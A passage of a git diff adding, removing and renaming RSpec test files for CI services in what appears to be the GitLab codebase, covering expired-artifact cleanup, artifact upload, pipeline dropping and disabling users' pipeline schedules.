- let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
-
- before do
- stub_const('Ci::DestroyExpiredJobArtifactsService::LOOP_TIMEOUT', 0.seconds)
- stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1)
-
- second_artifact.job.pipeline.unlocked!
- end
-
- it 'destroys one artifact' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(1)
- end
- end
-
- context 'when loop reached loop limit' do
- before do
- stub_const('Ci::DestroyExpiredJobArtifactsService::LOOP_LIMIT', 1)
- stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1)
-
- second_artifact.job.pipeline.unlocked!
- end
-
- let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
-
- it 'destroys one artifact' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(1)
- end
- end
-
- context 'when there are no artifacts' do
- before do
- artifact.destroy!
- end
-
- it 'does not raise error' do
- expect { subject }.not_to raise_error
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(0)
- end
- end
-
- context 'when there are artifacts more than batch sizes' do
- before do
- stub_const('Ci::DestroyExpiredJobArtifactsService::BATCH_SIZE', 1)
-
- second_artifact.job.pipeline.unlocked!
- end
-
- let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
-
- it 'destroys all expired artifacts' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(-2)
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(2)
- end
- end
-
- context 'when some artifacts are locked' do
- before do
- pipeline = create(:ci_pipeline, locked: :artifacts_locked)
- job = create(:ci_build, pipeline: pipeline)
- create(:ci_job_artifact, expire_at: 1.day.ago, job: job)
- end
-
- it 'destroys only unlocked artifacts' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
- end
- end
-
- context 'when all artifacts are locked' do
- before do
- pipeline = create(:ci_pipeline, locked: :artifacts_locked)
- job = create(:ci_build, pipeline: pipeline)
- artifact.update!(job: job)
- end
-
- it 'destroys no artifacts' do
- expect { subject }.to change { Ci::JobArtifact.count }.by(0)
- end
- end
- end
-end
diff --git a/spec/services/ci/disable_user_pipeline_schedules_service_spec.rb b/spec/services/ci/disable_user_pipeline_schedules_service_spec.rb
new file mode 100644
index 00000000000..4ff8dcf075b
--- /dev/null
+++ b/spec/services/ci/disable_user_pipeline_schedules_service_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::DisableUserPipelineSchedulesService do
+ describe '#execute' do
+ let(:user) { create(:user) }
+
+ subject(:service) { described_class.new.execute(user) }
+
+ context 'when user has active pipeline schedules' do
+ let(:owned_pipeline_schedule) { create(:ci_pipeline_schedule, active: true, owner: user) }
+
+ it 'disables all active pipeline schedules', :aggregate_failures do
+ expect { service }.to change { owned_pipeline_schedule.reload.active? }
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/drop_pipeline_service_spec.rb b/spec/services/ci/drop_pipeline_service_spec.rb
new file mode 100644
index 00000000000..4adbb99b9e2
--- /dev/null
+++ b/spec/services/ci/drop_pipeline_service_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::DropPipelineService do
+ let_it_be(:user) { create(:user) }
+
+ let(:failure_reason) { :user_blocked }
+
+ let!(:cancelable_pipeline) { create(:ci_pipeline, :running, user: user) }
+ let!(:running_build) { create(:ci_build, :running, pipeline: cancelable_pipeline) }
+ let!(:success_pipeline) { create(:ci_pipeline, :success, user: user) }
+ let!(:success_build) { create(:ci_build, :success, pipeline: success_pipeline) }
+
+ describe '#execute_async_for_all' do
+ subject { described_class.new.execute_async_for_all(user.pipelines, failure_reason, user) }
+
+ it 'drops only cancelable pipelines asynchronously', :sidekiq_inline do
+ subject
+
+ expect(cancelable_pipeline.reload).to be_failed
+ expect(running_build.reload).to be_failed
+
+ expect(success_pipeline.reload).to be_success
+ expect(success_build.reload).to be_success
+ end
+ end
+
+ describe '#execute' do
+ subject { described_class.new.execute(cancelable_pipeline.id, failure_reason) }
+
+ def drop_pipeline!(pipeline)
+ described_class.new.execute(pipeline, failure_reason)
+ end
+
+ it 'drops each cancelable build in the pipeline', :aggregate_failures do
+ drop_pipeline!(cancelable_pipeline)
+
+ expect(running_build.reload).to be_failed
+ expect(running_build.failure_reason).to eq(failure_reason.to_s)
+
+ expect(success_build.reload).to be_success
+ end
+
+ it 'avoids N+1 queries when reading data' do
+ control_count = ActiveRecord::QueryRecorder.new do
+ drop_pipeline!(cancelable_pipeline)
+ end.count
+
+ writes_per_build = 2
+ expected_reads_count = control_count - writes_per_build
+
+ create_list(:ci_build, 5, :running, pipeline: cancelable_pipeline)
+
+ expect do
+ drop_pipeline!(cancelable_pipeline)
+ end.not_to exceed_query_limit(expected_reads_count + (5 * writes_per_build))
+ end
+ end
+end
diff --git a/spec/services/ci/external_pull_requests/create_pipeline_service_spec.rb b/spec/services/ci/external_pull_requests/create_pipeline_service_spec.rb
index e2bdfae27f0..0cbeaa5446b 100644
--- a/spec/services/ci/external_pull_requests/create_pipeline_service_spec.rb
+++ b/spec/services/ci/external_pull_requests/create_pipeline_service_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe Ci::ExternalPullRequests::CreatePipelineService do
expect(subject).to eq(project.ci_pipelines.last)
expect(subject.external_pull_request).to eq(pull_request)
expect(subject.user).to eq(user)
- expect(subject.status).to eq('pending')
+ expect(subject.status).to eq('created')
expect(subject.ref).to eq(pull_request.source_branch)
expect(subject.sha).to eq(pull_request.source_sha)
expect(subject.source_sha).to eq(pull_request.source_sha)
diff --git a/spec/services/ci/job_artifacts/create_service_spec.rb b/spec/services/ci/job_artifacts/create_service_spec.rb
new file mode 100644
index 00000000000..22aa9e62c6f
--- /dev/null
+++ b/spec/services/ci/job_artifacts/create_service_spec.rb
@@ -0,0 +1,279 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobArtifacts::CreateService do
+ let_it_be(:project) { create(:project) }
+ let(:service) { described_class.new(job) }
+ let(:job) { create(:ci_build, project: project) }
+ let(:artifacts_sha256) { '0' * 64 }
+ let(:metadata_file) { nil }
+
+ let(:artifacts_file) do
+ file_to_upload('spec/fixtures/ci_build_artifacts.zip', sha256: artifacts_sha256)
+ end
+
+ let(:params) do
+ {
+ 'artifact_type' => 'archive',
+ 'artifact_format' => 'zip'
+ }.with_indifferent_access
+ end
+
+ def file_to_upload(path, params = {})
+ upload = Tempfile.new('upload')
+ FileUtils.copy(path, upload.path)
+
+ UploadedFile.new(upload.path, **params)
+ end
+
+ def unique_metrics_report_uploaders
+ Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(
+ event_names: described_class::METRICS_REPORT_UPLOAD_EVENT_NAME,
+ start_date: 2.weeks.ago,
+ end_date: 2.weeks.from_now
+ )
+ end
+
+ describe '#execute' do
+ subject { service.execute(artifacts_file, params, metadata_file: metadata_file) }
+
+ context 'when artifacts file is uploaded' do
+ it 'saves artifact for the given type' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(1)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact.project).to eq(job.project)
+ expect(new_artifact.file).to be_present
+ expect(new_artifact.file_type).to eq(params['artifact_type'])
+ expect(new_artifact.file_format).to eq(params['artifact_format'])
+ expect(new_artifact.file_sha256).to eq(artifacts_sha256)
+ end
+
+ it 'does not track the job user_id' do
+ subject
+
+ expect(unique_metrics_report_uploaders).to eq(0)
+ end
+
+ context 'when metadata file is also uploaded' do
+ let(:metadata_file) do
+ file_to_upload('spec/fixtures/ci_build_artifacts_metadata.gz', sha256: artifacts_sha256)
+ end
+
+ before do
+ stub_application_setting(default_artifacts_expire_in: '1 day')
+ end
+
+ it 'saves metadata artifact' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(2)
+
+ new_artifact = job.job_artifacts.last
+ expect(new_artifact.project).to eq(job.project)
+ expect(new_artifact.file).to be_present
+ expect(new_artifact.file_type).to eq('metadata')
+ expect(new_artifact.file_format).to eq('gzip')
+ expect(new_artifact.file_sha256).to eq(artifacts_sha256)
+ end
+
+ it 'sets expiration date according to application settings' do
+ expected_expire_at = 1.day.from_now
+
+ expect(subject).to match(a_hash_including(status: :success))
+ archive_artifact, metadata_artifact = job.job_artifacts.last(2)
+
+ expect(job.artifacts_expire_at).to be_within(1.minute).of(expected_expire_at)
+ expect(archive_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
+ expect(metadata_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
+ end
+
+ context 'when expire_in params is set to a specific value' do
+ before do
+ params.merge!('expire_in' => '2 hours')
+ end
+
+ it 'sets expiration date according to the parameter' do
+ expected_expire_at = 2.hours.from_now
+
+ expect(subject).to match(a_hash_including(status: :success))
+ archive_artifact, metadata_artifact = job.job_artifacts.last(2)
+
+ expect(job.artifacts_expire_at).to be_within(1.minute).of(expected_expire_at)
+ expect(archive_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
+ expect(metadata_artifact.expire_at).to be_within(1.minute).of(expected_expire_at)
+ end
+ end
+
+ context 'when expire_in params is set to `never`' do
+ before do
+ params.merge!('expire_in' => 'never')
+ end
+
+ it 'sets expiration date according to the parameter' do
+ expected_expire_at = nil
+
+ expect(subject).to be_truthy
+ archive_artifact, metadata_artifact = job.job_artifacts.last(2)
+
+ expect(job.artifacts_expire_at).to eq(expected_expire_at)
+ expect(archive_artifact.expire_at).to eq(expected_expire_at)
+ expect(metadata_artifact.expire_at).to eq(expected_expire_at)
+ end
+ end
+ end
+ end
+
+ context 'when artifacts file already exists' do
+ let!(:existing_artifact) do
+ create(:ci_job_artifact, :archive, file_sha256: existing_sha256, job: job)
+ end
+
+ context 'when sha256 of uploading artifact is the same of the existing one' do
+ let(:existing_sha256) { artifacts_sha256 }
+
+ it 'ignores the changes' do
+ expect { subject }.not_to change { Ci::JobArtifact.count }
+ expect(subject).to match(a_hash_including(status: :success))
+ end
+ end
+
+ context 'when sha256 of uploading artifact is different than the existing one' do
+ let(:existing_sha256) { '1' * 64 }
+
+ it 'returns error status' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).and_call_original
+
+ expect { subject }.not_to change { Ci::JobArtifact.count }
+ expect(subject).to match(
+ a_hash_including(http_status: :bad_request,
+ message: 'another artifact of the same type already exists',
+ status: :error))
+ end
+ end
+ end
+
+ context 'when artifact type is dotenv' do
+ let(:artifacts_file) do
+ file_to_upload('spec/fixtures/build.env.gz', sha256: artifacts_sha256)
+ end
+
+ let(:params) do
+ {
+ 'artifact_type' => 'dotenv',
+ 'artifact_format' => 'gzip'
+ }.with_indifferent_access
+ end
+
+ it 'calls parse service' do
+ expect_any_instance_of(Ci::ParseDotenvArtifactService) do |service|
+ expect(service).to receive(:execute).once.and_call_original
+ end
+
+ expect(subject[:status]).to eq(:success)
+ expect(job.job_variables.as_json).to contain_exactly(
+ hash_including('key' => 'KEY1', 'value' => 'VAR1', 'source' => 'dotenv'),
+ hash_including('key' => 'KEY2', 'value' => 'VAR2', 'source' => 'dotenv'))
+ end
+
+ context 'when ci_synchronous_artifact_parsing feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_synchronous_artifact_parsing: false)
+ end
+
+ it 'does not call parse service' do
+ expect(Ci::ParseDotenvArtifactService).not_to receive(:new)
+
+ expect(subject[:status]).to eq(:success)
+ end
+ end
+ end
+
+ context 'when artifact_type is metrics' do
+ before do
+ allow(job).to receive(:user_id).and_return(123)
+ end
+
+ let(:params) { { 'artifact_type' => 'metrics', 'artifact_format' => 'gzip' }.with_indifferent_access }
+
+ it 'tracks the job user_id' do
+ subject
+
+ expect(unique_metrics_report_uploaders).to eq(1)
+ end
+ end
+
+ context 'when artifact type is cluster_applications' do
+ let(:artifacts_file) do
+ file_to_upload('spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gz', sha256: artifacts_sha256)
+ end
+
+ let(:params) do
+ {
+ 'artifact_type' => 'cluster_applications',
+ 'artifact_format' => 'gzip'
+ }.with_indifferent_access
+ end
+
+ it 'calls cluster applications parse service' do
+ expect_next_instance_of(Clusters::ParseClusterApplicationsArtifactService) do |service|
+ expect(service).to receive(:execute).once.and_call_original
+ end
+
+ subject
+ end
+
+ context 'when there is a deployment cluster' do
+ let(:user) { project.owner }
+
+ before do
+ job.update!(user: user)
+ end
+
+ it 'calls cluster applications parse service with job and job user', :aggregate_failures do
+ expect(Clusters::ParseClusterApplicationsArtifactService).to receive(:new).with(job, user).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when ci_synchronous_artifact_parsing feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_synchronous_artifact_parsing: false)
+ end
+
+ it 'does not call parse service' do
+ expect(Clusters::ParseClusterApplicationsArtifactService).not_to receive(:new)
+
+ expect(subject[:status]).to eq(:success)
+ end
+ end
+ end
+
+ shared_examples 'rescues object storage error' do |klass, message, expected_message|
+ it "handles #{klass}" do
+ allow_next_instance_of(JobArtifactUploader) do |uploader|
+ allow(uploader).to receive(:store!).and_raise(klass, message)
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .and_call_original
+
+ expect(subject).to match(
+ a_hash_including(
+ http_status: :service_unavailable,
+ message: expected_message || message,
+ status: :error))
+ end
+ end
+
+ it_behaves_like 'rescues object storage error',
+ Errno::EIO, 'some/path', 'Input/output error - some/path'
+
+ it_behaves_like 'rescues object storage error',
+ Google::Apis::ServerError, 'Server error'
+
+ it_behaves_like 'rescues object storage error',
+ Signet::RemoteServerError, 'The service is currently unavailable'
+ end
+end
diff --git a/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb b/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
new file mode 100644
index 00000000000..04fa55068f2
--- /dev/null
+++ b/spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb
@@ -0,0 +1,252 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobArtifacts::DestroyAllExpiredService, :clean_gitlab_redis_shared_state do
+ include ExclusiveLeaseHelpers
+
+ let(:service) { described_class.new }
+
+ describe '.execute' do
+ subject { service.execute }
+
+ let_it_be(:artifact, refind: true) do
+ create(:ci_job_artifact, expire_at: 1.day.ago)
+ end
+
+ before(:all) do
+ artifact.job.pipeline.unlocked!
+ end
+
+ context 'when artifact is expired' do
+ context 'with preloaded relationships' do
+ before do
+ job = create(:ci_build, pipeline: artifact.job.pipeline)
+ create(:ci_job_artifact, :archive, :expired, job: job)
+
+ stub_const("#{described_class}::LOOP_LIMIT", 1)
+ end
+
+ it 'performs the smallest number of queries for job_artifacts' do
+ log = ActiveRecord::QueryRecorder.new { subject }
+
+ # SELECT expired ci_job_artifacts - 3 queries from each_batch
+ # PRELOAD projects, routes, project_statistics
+ # BEGIN
+ # INSERT into ci_deleted_objects
+ # DELETE loaded ci_job_artifacts
+ # DELETE security_findings -- for EE
+ # COMMIT
+ # SELECT next expired ci_job_artifacts
+
+ expect(log.count).to be_within(1).of(11)
+ end
+ end
+
+ context 'when artifact is not locked' do
+ it 'deletes job artifact record' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
+ end
+
+ context 'when the artifact does not a file attached to it' do
+ it 'does not create deleted objects' do
+ expect(artifact.exists?).to be_falsy # sanity check
+
+ expect { subject }.not_to change { Ci::DeletedObject.count }
+ end
+ end
+
+ context 'when the artifact has a file attached to it' do
+ before do
+ artifact.file = fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'), 'application/zip')
+ artifact.save!
+ end
+
+ it 'creates a deleted object' do
+ expect { subject }.to change { Ci::DeletedObject.count }.by(1)
+ end
+
+ it 'resets project statistics' do
+ expect(ProjectStatistics).to receive(:increment_statistic).once
+ .with(artifact.project, :build_artifacts_size, -artifact.file.size)
+ .and_call_original
+
+ subject
+ end
+
+ it 'does not remove the files' do
+ expect { subject }.not_to change { artifact.file.exists? }
+ end
+ end
+ end
+
+ context 'when artifact is locked' do
+ before do
+ artifact.job.pipeline.artifacts_locked!
+ end
+
+ it 'does not destroy job artifact' do
+ expect { subject }.not_to change { Ci::JobArtifact.count }
+ end
+ end
+ end
+
+ context 'when artifact is not expired' do
+ before do
+ artifact.update_column(:expire_at, 1.day.since)
+ end
+
+ it 'does not destroy expired job artifacts' do
+ expect { subject }.not_to change { Ci::JobArtifact.count }
+ end
+ end
+
+ context 'when artifact is permanent' do
+ before do
+ artifact.update_column(:expire_at, nil)
+ end
+
+ it 'does not destroy expired job artifacts' do
+ expect { subject }.not_to change { Ci::JobArtifact.count }
+ end
+ end
+
+ context 'when failed to destroy artifact' do
+ before do
+ stub_const("#{described_class}::LOOP_LIMIT", 10)
+ end
+
+ context 'when the import fails' do
+ before do
+ expect(Ci::DeletedObject)
+ .to receive(:bulk_import)
+ .once
+ .and_raise(ActiveRecord::RecordNotDestroyed)
+ end
+
+ it 'raises an exception and stop destroying' do
+ expect { subject }.to raise_error(ActiveRecord::RecordNotDestroyed)
+ .and not_change { Ci::JobArtifact.count }.from(1)
+ end
+ end
+
+ context 'when the delete fails' do
+ before do
+ expect(Ci::JobArtifact)
+ .to receive(:id_in)
+ .once
+ .and_raise(ActiveRecord::RecordNotDestroyed)
+ end
+
+ it 'raises an exception rolls back the insert' do
+ expect { subject }.to raise_error(ActiveRecord::RecordNotDestroyed)
+ .and not_change { Ci::DeletedObject.count }.from(0)
+ end
+ end
+ end
+
+ context 'when exclusive lease has already been taken by the other instance' do
+ before do
+ stub_exclusive_lease_taken(described_class::EXCLUSIVE_LOCK_KEY, timeout: described_class::LOCK_TIMEOUT)
+ end
+
+ it 'raises an error and does not start destroying' do
+ expect { subject }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
+ end
+ end
+
+ context 'when timeout happens' do
+ let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
+
+ before do
+ stub_const("#{described_class}::LOOP_TIMEOUT", 0.seconds)
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+
+ second_artifact.job.pipeline.unlocked!
+ end
+
+ it 'destroys one artifact' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(1)
+ end
+ end
+
+ context 'when loop reached loop limit' do
+ before do
+ stub_const("#{described_class}::LOOP_LIMIT", 1)
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+
+ second_artifact.job.pipeline.unlocked!
+ end
+
+ let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
+
+ it 'destroys one artifact' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(1)
+ end
+ end
+
+ context 'when there are no artifacts' do
+ before do
+ artifact.destroy!
+ end
+
+ it 'does not raise error' do
+ expect { subject }.not_to raise_error
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(0)
+ end
+ end
+
+ context 'when there are artifacts more than batch sizes' do
+ before do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+
+ second_artifact.job.pipeline.unlocked!
+ end
+
+ let!(:second_artifact) { create(:ci_job_artifact, expire_at: 1.day.ago) }
+
+ it 'destroys all expired artifacts' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-2)
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(2)
+ end
+ end
+
+ context 'when some artifacts are locked' do
+ before do
+ pipeline = create(:ci_pipeline, locked: :artifacts_locked)
+ job = create(:ci_build, pipeline: pipeline)
+ create(:ci_job_artifact, expire_at: 1.day.ago, job: job)
+ end
+
+ it 'destroys only unlocked artifacts' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(-1)
+ end
+ end
+
+ context 'when all artifacts are locked' do
+ before do
+ pipeline = create(:ci_pipeline, locked: :artifacts_locked)
+ job = create(:ci_build, pipeline: pipeline)
+ artifact.update!(job: job)
+ end
+
+ it 'destroys no artifacts' do
+ expect { subject }.to change { Ci::JobArtifact.count }.by(0)
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb b/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
new file mode 100644
index 00000000000..52aaf73d67e
--- /dev/null
+++ b/spec/services/ci/job_artifacts/destroy_batch_service_spec.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobArtifacts::DestroyBatchService do
+ include ExclusiveLeaseHelpers
+
+ let(:artifacts) { Ci::JobArtifact.all }
+ let(:service) { described_class.new(artifacts, pick_up_at: Time.current) }
+
+ describe '.execute' do
+ subject(:execute) { service.execute }
+
+ let_it_be(:artifact, refind: true) do
+ create(:ci_job_artifact)
+ end
+
+ context 'when the artifact has a file attached to it' do
+ before do
+ artifact.file = fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'), 'application/zip')
+ artifact.save!
+ end
+
+ it 'creates a deleted object' do
+ expect { subject }.to change { Ci::DeletedObject.count }.by(1)
+ end
+
+ it 'resets project statistics' do
+ expect(ProjectStatistics).to receive(:increment_statistic).once
+ .with(artifact.project, :build_artifacts_size, -artifact.file.size)
+ .and_call_original
+
+ execute
+ end
+
+ it 'does not remove the files' do
+ expect { execute }.not_to change { artifact.file.exists? }
+ end
+
+ it 'reports metrics for destroyed artifacts' do
+ expect_next_instance_of(Gitlab::Ci::Artifacts::Metrics) do |metrics|
+ expect(metrics).to receive(:increment_destroyed_artifacts).with(1).and_call_original
+ end
+
+ execute
+ end
+ end
+
+ context 'when failed to destroy artifact' do
+ context 'when the import fails' do
+ before do
+ expect(Ci::DeletedObject)
+ .to receive(:bulk_import)
+ .once
+ .and_raise(ActiveRecord::RecordNotDestroyed)
+ end
+
+ it 'raises an exception and stop destroying' do
+ expect { execute }.to raise_error(ActiveRecord::RecordNotDestroyed)
+ .and not_change { Ci::JobArtifact.count }.from(1)
+ end
+ end
+ end
+
+ context 'when there are no artifacts' do
+ let(:artifacts) { Ci::JobArtifact.none }
+
+ before do
+ artifact.destroy!
+ end
+
+ it 'does not raise error' do
+ expect { execute }.not_to raise_error
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(destroyed_artifacts_count: 0, status: :success)
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/job_artifacts_destroy_batch_service_spec.rb b/spec/services/ci/job_artifacts_destroy_batch_service_spec.rb
deleted file mode 100644
index 74fbbf28ef1..00000000000
--- a/spec/services/ci/job_artifacts_destroy_batch_service_spec.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::JobArtifactsDestroyBatchService do
- include ExclusiveLeaseHelpers
-
- let(:artifacts) { Ci::JobArtifact.all }
- let(:service) { described_class.new(artifacts, pick_up_at: Time.current) }
-
- describe '.execute' do
- subject(:execute) { service.execute }
-
- let_it_be(:artifact, refind: true) do
- create(:ci_job_artifact)
- end
-
- context 'when the artifact has a file attached to it' do
- before do
- artifact.file = fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'), 'application/zip')
- artifact.save!
- end
-
- it 'creates a deleted object' do
- expect { subject }.to change { Ci::DeletedObject.count }.by(1)
- end
-
- it 'resets project statistics' do
- expect(ProjectStatistics).to receive(:increment_statistic).once
- .with(artifact.project, :build_artifacts_size, -artifact.file.size)
- .and_call_original
-
- execute
- end
-
- it 'does not remove the files' do
- expect { execute }.not_to change { artifact.file.exists? }
- end
-
- it 'reports metrics for destroyed artifacts' do
- expect_next_instance_of(Gitlab::Ci::Artifacts::Metrics) do |metrics|
- expect(metrics).to receive(:increment_destroyed_artifacts).with(1).and_call_original
- end
-
- execute
- end
- end
-
- context 'when failed to destroy artifact' do
- context 'when the import fails' do
- before do
- expect(Ci::DeletedObject)
- .to receive(:bulk_import)
- .once
- .and_raise(ActiveRecord::RecordNotDestroyed)
- end
-
- it 'raises an exception and stop destroying' do
- expect { execute }.to raise_error(ActiveRecord::RecordNotDestroyed)
- .and not_change { Ci::JobArtifact.count }.from(1)
- end
- end
- end
-
- context 'when there are no artifacts' do
- let(:artifacts) { Ci::JobArtifact.none }
-
- before do
- artifact.destroy!
- end
-
- it 'does not raise error' do
- expect { execute }.not_to raise_error
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(destroyed_artifacts_count: 0, status: :success)
- end
- end
- end
-end
diff --git a/spec/services/ci/pipeline_artifacts/destroy_all_expired_service_spec.rb b/spec/services/ci/pipeline_artifacts/destroy_all_expired_service_spec.rb
new file mode 100644
index 00000000000..3dc4f35df22
--- /dev/null
+++ b/spec/services/ci/pipeline_artifacts/destroy_all_expired_service_spec.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::PipelineArtifacts::DestroyAllExpiredService do
+ let(:service) { described_class.new }
+
+ describe '.execute' do
+ subject { service.execute }
+
+ context 'when timeout happens' do
+ before do
+ stub_const('Ci::PipelineArtifacts::DestroyAllExpiredService::LOOP_TIMEOUT', 0.1.seconds)
+ allow(service).to receive(:destroy_artifacts_batch) { true }
+ end
+
+ it 'returns 0 and does not continue destroying' do
+ is_expected.to eq(0)
+ end
+ end
+
+ context 'when there are no artifacts' do
+ it 'does not raise error' do
+ expect { subject }.not_to raise_error
+ end
+ end
+
+ context 'when the loop limit is reached' do
+ before do
+ stub_const('::Ci::PipelineArtifacts::DestroyAllExpiredService::LOOP_LIMIT', 1)
+ stub_const('::Ci::PipelineArtifacts::DestroyAllExpiredService::BATCH_SIZE', 1)
+
+ create_list(:ci_pipeline_artifact, 2, expire_at: 1.week.ago)
+ end
+
+ it 'destroys one artifact' do
+ expect { subject }.to change { Ci::PipelineArtifact.count }.by(-1)
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(1)
+ end
+ end
+
+ context 'when there are artifacts more than batch sizes' do
+ before do
+ stub_const('Ci::PipelineArtifacts::DestroyAllExpiredService::BATCH_SIZE', 1)
+
+ create_list(:ci_pipeline_artifact, 2, expire_at: 1.week.ago)
+ end
+
+ it 'destroys all expired artifacts' do
+ expect { subject }.to change { Ci::PipelineArtifact.count }.by(-2)
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(2)
+ end
+ end
+
+ context 'when artifacts are not expired' do
+ before do
+ create(:ci_pipeline_artifact, expire_at: 2.days.from_now)
+ end
+
+ it 'does not destroy pipeline artifacts' do
+ expect { subject }.not_to change { Ci::PipelineArtifact.count }
+ end
+
+ it 'reports the number of destroyed artifacts' do
+ is_expected.to eq(0)
+ end
+ end
+ end
+
+ describe '.destroy_artifacts_batch' do
+ it 'returns a falsy value without artifacts' do
+ expect(service.send(:destroy_artifacts_batch)).to be_falsy
+ end
+ end
+end
diff --git a/spec/services/ci/pipeline_artifacts/destroy_expired_artifacts_service_spec.rb b/spec/services/ci/pipeline_artifacts/destroy_expired_artifacts_service_spec.rb
deleted file mode 100644
index ac1a590face..00000000000
--- a/spec/services/ci/pipeline_artifacts/destroy_expired_artifacts_service_spec.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::PipelineArtifacts::DestroyExpiredArtifactsService do
- let(:service) { described_class.new }
-
- describe '.execute' do
- subject { service.execute }
-
- context 'when timeout happens' do
- before do
- stub_const('Ci::PipelineArtifacts::DestroyExpiredArtifactsService::LOOP_TIMEOUT', 0.1.seconds)
- allow(service).to receive(:destroy_artifacts_batch) { true }
- end
-
- it 'returns 0 and does not continue destroying' do
- is_expected.to eq(0)
- end
- end
-
- context 'when there are no artifacts' do
- it 'does not raise error' do
- expect { subject }.not_to raise_error
- end
- end
-
- context 'when the loop limit is reached' do
- before do
- stub_const('::Ci::PipelineArtifacts::DestroyExpiredArtifactsService::LOOP_LIMIT', 1)
- stub_const('::Ci::PipelineArtifacts::DestroyExpiredArtifactsService::BATCH_SIZE', 1)
-
- create_list(:ci_pipeline_artifact, 2, expire_at: 1.week.ago)
- end
-
- it 'destroys one artifact' do
- expect { subject }.to change { Ci::PipelineArtifact.count }.by(-1)
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(1)
- end
- end
-
- context 'when there are artifacts more than batch sizes' do
- before do
- stub_const('Ci::PipelineArtifacts::DestroyExpiredArtifactsService::BATCH_SIZE', 1)
-
- create_list(:ci_pipeline_artifact, 2, expire_at: 1.week.ago)
- end
-
- it 'destroys all expired artifacts' do
- expect { subject }.to change { Ci::PipelineArtifact.count }.by(-2)
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(2)
- end
- end
-
- context 'when artifacts are not expired' do
- before do
- create(:ci_pipeline_artifact, expire_at: 2.days.from_now)
- end
-
- it 'does not destroy pipeline artifacts' do
- expect { subject }.not_to change { Ci::PipelineArtifact.count }
- end
-
- it 'reports the number of destroyed artifacts' do
- is_expected.to eq(0)
- end
- end
- end
-
- describe '.destroy_artifacts_batch' do
- it 'returns a falsy value without artifacts' do
- expect(service.send(:destroy_artifacts_batch)).to be_falsy
- end
- end
-end
diff --git a/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb b/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
index a9f9db8c689..572808cd2db 100644
